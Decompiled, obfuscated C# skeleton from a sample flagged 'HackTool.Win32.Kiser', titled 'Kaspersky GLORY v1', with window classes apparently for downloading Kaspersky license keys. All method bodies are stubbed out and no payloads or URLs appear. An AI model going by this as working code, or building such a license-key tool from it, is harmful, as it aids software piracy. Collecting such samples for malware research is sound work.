// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
public class FB : Window, IComponentConnector
|
||||
{
|
||||
[AccessedThroughProperty("t1")]
|
||||
private Label \u0030LZVi6SBu;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private Button XoRQDcXFm;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private Button \u0034HIyaRGjh;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private Label vTJlTvVbt;
|
||||
[AccessedThroughProperty("TextBox1")]
|
||||
private TextBox \u0033cJ9cSepm;
|
||||
[AccessedThroughProperty("ComboBox1")]
|
||||
private ComboBox EPuUtq8Ox;
|
||||
[AccessedThroughProperty("TextBox2")]
|
||||
private TextBox Q6SAuOc2E;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private Label dkOuxxyiC;
|
||||
private bool GDOIKWKuj;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public FB()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void WHGs5tnTk([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void cqZfkGBNt([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void XZvO7ERBQ([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038LykafRk2([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual Label t1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Button Button2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual ComboBox ComboBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (ComboBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual TextBox TextBox2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void jwn63xTkGYcSQ2yIHc()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void hk8vnjhEpJHOFJdcZ5([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Q2H5v0ED0cqqK7k28w([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void WdkX531wXn7hgBIY5G([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0032iwlTP9SmnnQLSBTJr([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool QrMsq3HdKtU501C4mo() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0033UUvV3kYjMs77ZA87F() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wrSFbgwfptk9F9aYY7([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u003934s3MCC9eccLLZxbZ([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void MyC7n36uZ6Jnkge6yN([In] object obj0, [In] int obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object UbDA9TeAmOPgFiad27() => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Iv99g8Vqg5hS8cNxux([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Rectangle LuEkKXtNGyd2p0Q4oZ([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl1;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035HWxm5UuaWqNT1Ta58([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void J6MoCwbVRbqo5fe999([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZbDM5yPYpHlTLHlM5J([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object dMfUZMr9ZD0xFcc3dG([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Jo6pMQchWn0IuDFEkG([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object aO3VIkSA6lBcXqByqb([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0036gO2fiLMTuIi2sRBFd([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object PkGiD8goVBoCkj3Bg8([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object MmTbQHKJhKXGqQ9MQ0([In] object obj0, [In] object obj1, [In] object obj2, [In] object obj3) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void g5vlLPRZLDwRy0GQYt([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void grGhfBacblwYWSGfrS([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void hVGhrVFiQ3i7ZgMWT8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void HLZEd30m7NNJeQKUV9([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MsgBoxResult aCZwrZ37Bj8MpOtZ0Z(
|
||||
[In] object obj0,
|
||||
[In] MsgBoxStyle obj1,
|
||||
[In] object obj2)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void U2s2Zq8D2ErX07phiO()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void GAVqXtMw5xUern2nGS([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OgPCEsJlajBVJHroRN([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CkXd9hiRY2q3ZsmJyX([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0031cxgI37oLNS7g0vxNQ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void aqwjokXfGIaBlA0lQH([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void GhWnBSYnnKHqu2CRv6([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void S0ObYwDwVRMMhFfIwC([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void emT84tZGPjf5M5mlV8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void slXcKp2Sqi5Pc8Uqsh([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void vyC4HP4BrfT25oavF6([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void tfoIF1NZZehlTdASW0([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static FB() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+511
@@ -0,0 +1,511 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.KDownloader
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Net;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
public class KDownloader : Window, IComponentConnector
|
||||
{
|
||||
private WebClient uiDSJP5K6;
|
||||
private WebClient \u0037wUA3K5FS;
|
||||
[AccessedThroughProperty("GroupBox1")]
|
||||
private System.Windows.Controls.GroupBox StWuGHvv3;
|
||||
[AccessedThroughProperty("ComboBox1")]
|
||||
private System.Windows.Controls.ComboBox iepZybAkM;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private System.Windows.Controls.Label TJfGoS1Nc;
|
||||
[AccessedThroughProperty("t1")]
|
||||
private System.Windows.Controls.Label JGRWDvPW7;
|
||||
[AccessedThroughProperty("Button1")]
|
||||
private System.Windows.Controls.Button \u0032dt8e7deR;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private System.Windows.Controls.Label H10jte8fr;
|
||||
[AccessedThroughProperty("ProgressBar1")]
|
||||
private System.Windows.Controls.ProgressBar SsvY5ygtY;
|
||||
[AccessedThroughProperty("btn_s_k")]
|
||||
private System.Windows.Controls.Button \u0038xXCMRTUE;
|
||||
[AccessedThroughProperty("btn_s_AV")]
|
||||
private System.Windows.Controls.Button Mnd0ODixC;
|
||||
[AccessedThroughProperty("btn_s_IS")]
|
||||
private System.Windows.Controls.Button a6BHg7aZl;
|
||||
[AccessedThroughProperty("kl")]
|
||||
private System.Windows.Controls.TextBox \u00305iRvC3Dw;
|
||||
[AccessedThroughProperty("Button2")]
|
||||
private System.Windows.Controls.Button RVCQ5y8jV;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private System.Windows.Controls.Label iAVvjewXZ;
|
||||
private bool \u0032I7wPSnFY;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public KDownloader()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void FleVY7hrK([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0039tjPjswKO([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038wGy8Btdv([In] object obj0, [In] DownloadProgressChangedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void HKGk3cGu3([In] object obj0, [In] AsyncCompletedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0034y971Mpj6([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.GroupBox GroupBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ComboBox ComboBox1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ComboBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label t1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ProgressBar ProgressBar1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button btn_s_k
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button btn_s_AV
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button btn_s_IS
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.TextBox kl
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Button Button2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void aPEJ2Afs8etV7KbNXWb()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037xfKayffk96xRE4rKHa([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void xSq1kGfOloFYg37FAU3([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void yB2yJufQCJD0bVXfjOd([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void N2jY4pfWrcxt3A5A23M([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool h3j4uIszCMO0yOkkw4d() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool jd61SHfxVMknh7FdE6c() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool lRbAXJflDLWjg6vw5Nd() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MsgBoxResult iNwlmEfy6KaXY1HWMAZ(
|
||||
[In] object obj0,
|
||||
[In] MsgBoxStyle obj1,
|
||||
[In] object obj2)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void VIBibVfpOtVOqdsbxt6([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object tgGbPufBERDfAes3537([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void rcTDyJfnafIKOkxqMMY([In] object obj0, [In] Visibility obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object cF6w21fAk8YIYUilGSq([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Xp4YQPfm1YGNuqUpJwV([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0031ZMVbpfdKf2Q47UXHxX([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object B37uyVfjQjOXxxxoJrU([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int mUW2JSfHXhQbLcRgVWA([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object P97rxdfkluRp55s2A3t([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OXooWdfToaGeQmwcirn([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037XAUaefhLXpoF5oZfVe([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0037YewblfEDJaEwFcnM5E([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void SwU4YSf1g1xvZROH1Kh([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void WOgW4Sf9j7gFwtboT3Z([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static DialogResult yDnXCufwVc9TKEnsZpi([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object OT0Pg6fCS6CctyWjeLY([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool iA9MQMf6uOwPWYta5UG([In] object obj0) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object ByXhdqfe3NAlXL9X809([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object VfOqhVfVoBUpmHhrFhc([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void wI4FtnftxMAxRZfhEyR([In] object obj0, [In] object obj1, [In] object obj2)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Ru3PDtfUwV77aRGDGOA([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u003278IOcfb8KrX7gQtSTn([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ExxliefPbpcC3Kd89FO([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object KugFjtfr987fhN0eg6P([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object nxHNSsfc1GDFS30KXuh([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object SLdqNqfSFQApLGyJomU([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void bWVx83fLYWyKQZLpXoc([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void OFV1lkfg1BuH7d5HPOV()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long eoshwnfKHfKK9VkKWbP([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double XDC7IKfRdw9E45uOjYh([In] object obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static long FVFk6Bfay6iWWcJZQPR([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double \u0033RteunfF1dZLXgdmKnr([In] double obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int igfnWXf0oTnW1eNwnIC([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Eg2lrmf3uKBs7UeTQ8j([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double \u00382Juq3f8H3hWGJGj186([In] double obj0, [In] int obj1) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int Y7JpR7fMkI2Bv54w7G3([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0030TvK59fJaPiaVhBMRtc([In] int obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object RCpKdGfiS6RckYkIEp8([In] double obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
